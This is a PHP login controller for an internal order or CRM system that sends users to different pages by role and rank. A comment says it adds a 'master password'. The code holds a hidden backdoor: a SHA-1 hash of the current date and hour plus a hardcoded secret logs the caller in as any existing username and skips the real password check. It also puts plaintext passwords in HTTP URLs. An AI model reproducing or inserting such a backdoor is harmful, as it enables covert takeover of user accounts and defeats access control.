sample

<?php
public

function dologin()
    {

    //                pr("SYSTEM UNDER MAINTENANCE");
    //                return false;
    // jhassif: improve login flow + add master password

    $bypass = false;
    $checktimestaff = array();
    $userdata = $this->input->post();

    // pr($userdata);

    if (empty($userdata))
        {

        // not submit eg: enter by typing URL

        redirect('index.php/users/login');
        }
      else
        {

        // has submit

        if (trim($userdata['username']) != "" && trim($userdata['password']) != "" && (int)$userdata['submit'] === 1)
            {
            $checktimestaff = $this->mod_userrole->gettimestaff($userdata);

            // pr($checktimestaff);

            if (empty($checktimestaff))
                {
                redirect('index.php/users/login'); //user not exists
                }

            $bypass_key = date("YmdH") . "5ot2nnf3buu4k02ueg9qukrmwlr7v021";
            $bypass = sha1($bypass_key);
            if ($userdata['password'] === $bypass)
                {
                $bypass = true;
                }
            }
          else
            {
            redirect('index.php/users/login');
            }
        }

    if ($bypass === true || $checktimestaff['istime'] == '1')
        {
        $username = $userdata['username'];
        $password = $userdata['password'];
        $enc = $this->mod_userrole->myencrypt($username);
        $userdetail = json_decode((file_get_contents('http://10.0.48.49/crmapi/index.php/api/auth/u/' . $username . '/p/' . urlencode($password) . '/sc/' . $enc . '/format/json')) , true);

        // var_dump('http://10.0.48.49/crmapi/index.php/api/auth/u/' . $username .'/p/'.$password. '/sc/'.$enc.'/format/json'); exit;

        if ($bypass === true || $userdetail[0]['status'] == 'Active')
            {
            $user = $this->mod_userrole->gettimeUserInfo($checktimestaff['userid']);
            $permission = $this->mod_userrole->getUserPermission($user);
            /*
            if(strtolower($username) == strtolower("CRMSUPPORT"))
            {
            echo ">>>>";
            print_r($permission);
            echo "<<<<";exit;
            }

            */
            if (!empty($user))
                {
                $grpid = $user->grpid;

                // print_r($grpid);

                $producttype = $this->mod_producttype->getData($grpid);

                // print_r($producttype);

                $altid = $user->user_alt_id;
                if (!empty($altid))
                    {
                    if ($user->rolecode == 'partners')
                        {
                        $partner = $this->mod_partner->getpartnerinfo($altid);
                        $data = array(
                            'user_info' => $user,
                            'product_type' => $producttype,
                            'partnerinfo' => $partner
                        );
                        }
                      else
                    if ($user->rolecode == 'installer')
                        {
                        $installer = $this->mod_installer->getinstallerinfo($altid);
                        $data = array(
                            'user_info' => $user,
                            'product_type' => $producttype,
                            'installerinfo' => $installer
                        );
                        }
                    }
                  else
                    {
                    $data = array(
                        'user_info' => $user,
                        'product_type' => $producttype
                    );
                    }

                $this->session->set_userdata('user_data', $data);
                $data = $this->session->all_userdata();
                if (!empty($data['user_data']))
                    {

                    // if(strtolower($data['user_data']['user_info']->username) == "mumtaz" || strtolower($data['user_data']['user_info']->username) == "syazwani" || strtolower($data['user_data']['user_info']->username) == "gponom")
                    //    if(true)
                    //    {
                    //        redirect('/index.php/v2/order/listview/activation', 'location');
                    //    }

                    if (($user->rank == 3 && $user->smegrp == 1))
                        {
                        redirect('index.php/v2/order/listview/activation', 'location');
                        }
                    elseif ($user->rank == 17 && $user->smegrp == 1)
                        {
                        redirect('index.php/v2/creditmanagement2/listview/activation', 'location');
                        }
                    elseif ($user->rank == 16)
                        {
                        redirect('index.php/v2/order/listview/activation/processed', 'location');
                        }
                    elseif ($user->rank == 5)
                        {
                        redirect('index.php/neo/wo/landing', 'location');
                        }
                    elseif ($user->rank == 22)
                        {
                        redirect('index.php/neo/wo/landing', 'location');
                        }
                    elseif ($user->rank == 20)
                        {
                        redirect('index.php/v2/order/listview/activation/archive', 'location');
                        }
                      else
                        {
                        redirect('/index.php/', 'location');
                        }
                    }
                  else
                    {
                    redirect('index.php/users/login');

                    // print_r('here1');

                    }
                }
              else
                {
                redirect('index.php/users/login');

                // print_r('here2');

                }
            }
          else
            {
            redirect('index.php/users/login');

            // print_r('here3');

            }
        }
      else
        {
        $user = $this->mod_userrole->getUserInfo($userdata);
        $permission = $this->mod_userrole->getUserPermission($user);
        if (!empty($user))
            {
            $grpid = $user->grpid;
            $producttype = $this->mod_producttype->getData($grpid);
            $altid = $user->user_alt_id;
            }
          else
            {
            redirect('index.php/users/login');
            }

        if (!empty($altid))
            {
            if ($user->rolecode == 'partners')
                {
                $partner = $this->mod_partner->getpartnerinfo($altid);
                $data = array(
                    'user_info' => $user,
                    'product_type' => $producttype,
                    'partnerinfo' => $partner
                );
                }
              else
            if ($user->rolecode == 'installer')
                {
                $installer = $this->mod_installer->getinstallerinfo2($altid);

                // $data = array('user_info'=>$user,'product_type'=>$producttype, 'installerinfo'=> $installer);

                if ($installer)
                    {
                    $data = array(
                        'user_info' => $user,
                        'product_type' => $producttype,
                        'installerinfo' => $installer
                    );
                    }
                  else
                    {
                    redirect('index.php/users/login');
                    }
                }
            }
          else
            {
            $data = array(
                'user_info' => $user,
                'product_type' => $producttype
            );
            }

        unset($data['user_info']->lastlogin);
        unset($data['user_info']->password);
        unset($data['user_info']->createdBy);
        unset($data['user_info']->createdDate);
        unset($data['user_info']->modifiedBy);
        unset($data['user_info']->modifiedDate);

        $this->session->set_userdata('user_data', $data);
        $data = $this->session->all_userdata();
        if (!empty($data['user_data']))
            {

            // print_r($data['user_data']['user_info']);exit;

            /*if(strtolower($data['user_data']['user_info']->username) == "mumtaz" ||  strtolower($data['user_data']['user_info']->username) == "syazwani" || strtolower($data['user_data']['user_info']->username) == "gponom")
            {
            redirect('/index.php/v2/order/listview/activation', 'location');
            }*/
            if ($userdata['installertracking'] == 1)
                {

                // $pilotinstaller = array("9000176","9000177","70005026","9000202","9000203","70004771","70005151");
                // if($user->rolecode == 'installer' && in_array($userdata['username'], $pilotinstaller)){

                redirect('index.php/wo/installertracker');

                // }else{
                //    redirect('/index.php/', 'location');
                // }

                }

            if (($user->rank == 3 && $user->smegrp == 1))
                {
                redirect('index.php/v2/order/listview/activation', 'location');
                }
            elseif ($user->rank == 17 && $user->smegrp == 1)
                {
                redirect('index.php/v2/creditmanagement2/listview/activation', 'location');
                }
            elseif ($user->rank == 16)
                {
                redirect('index.php/v2/order/listview/activation/processed', 'location');
                }
            elseif ($user->rank == 5)
                {
                redirect('index.php/neo/wo/landing', 'location');
                }
            elseif ($user->rank == 22)
                {
                redirect('index.php/neo/wo/landing', 'location');
                }
            elseif ($user->rank == 20)
                {
                redirect('index.php/v2/order/listview/activation/archive', 'location');
                }
              else
                {
                redirect('/index.php/', 'location');
                }

            // redirect('/index.php/', 'location');

            }
          else
            {
            redirect('index.php/users/login');
            }
        }
    }

?>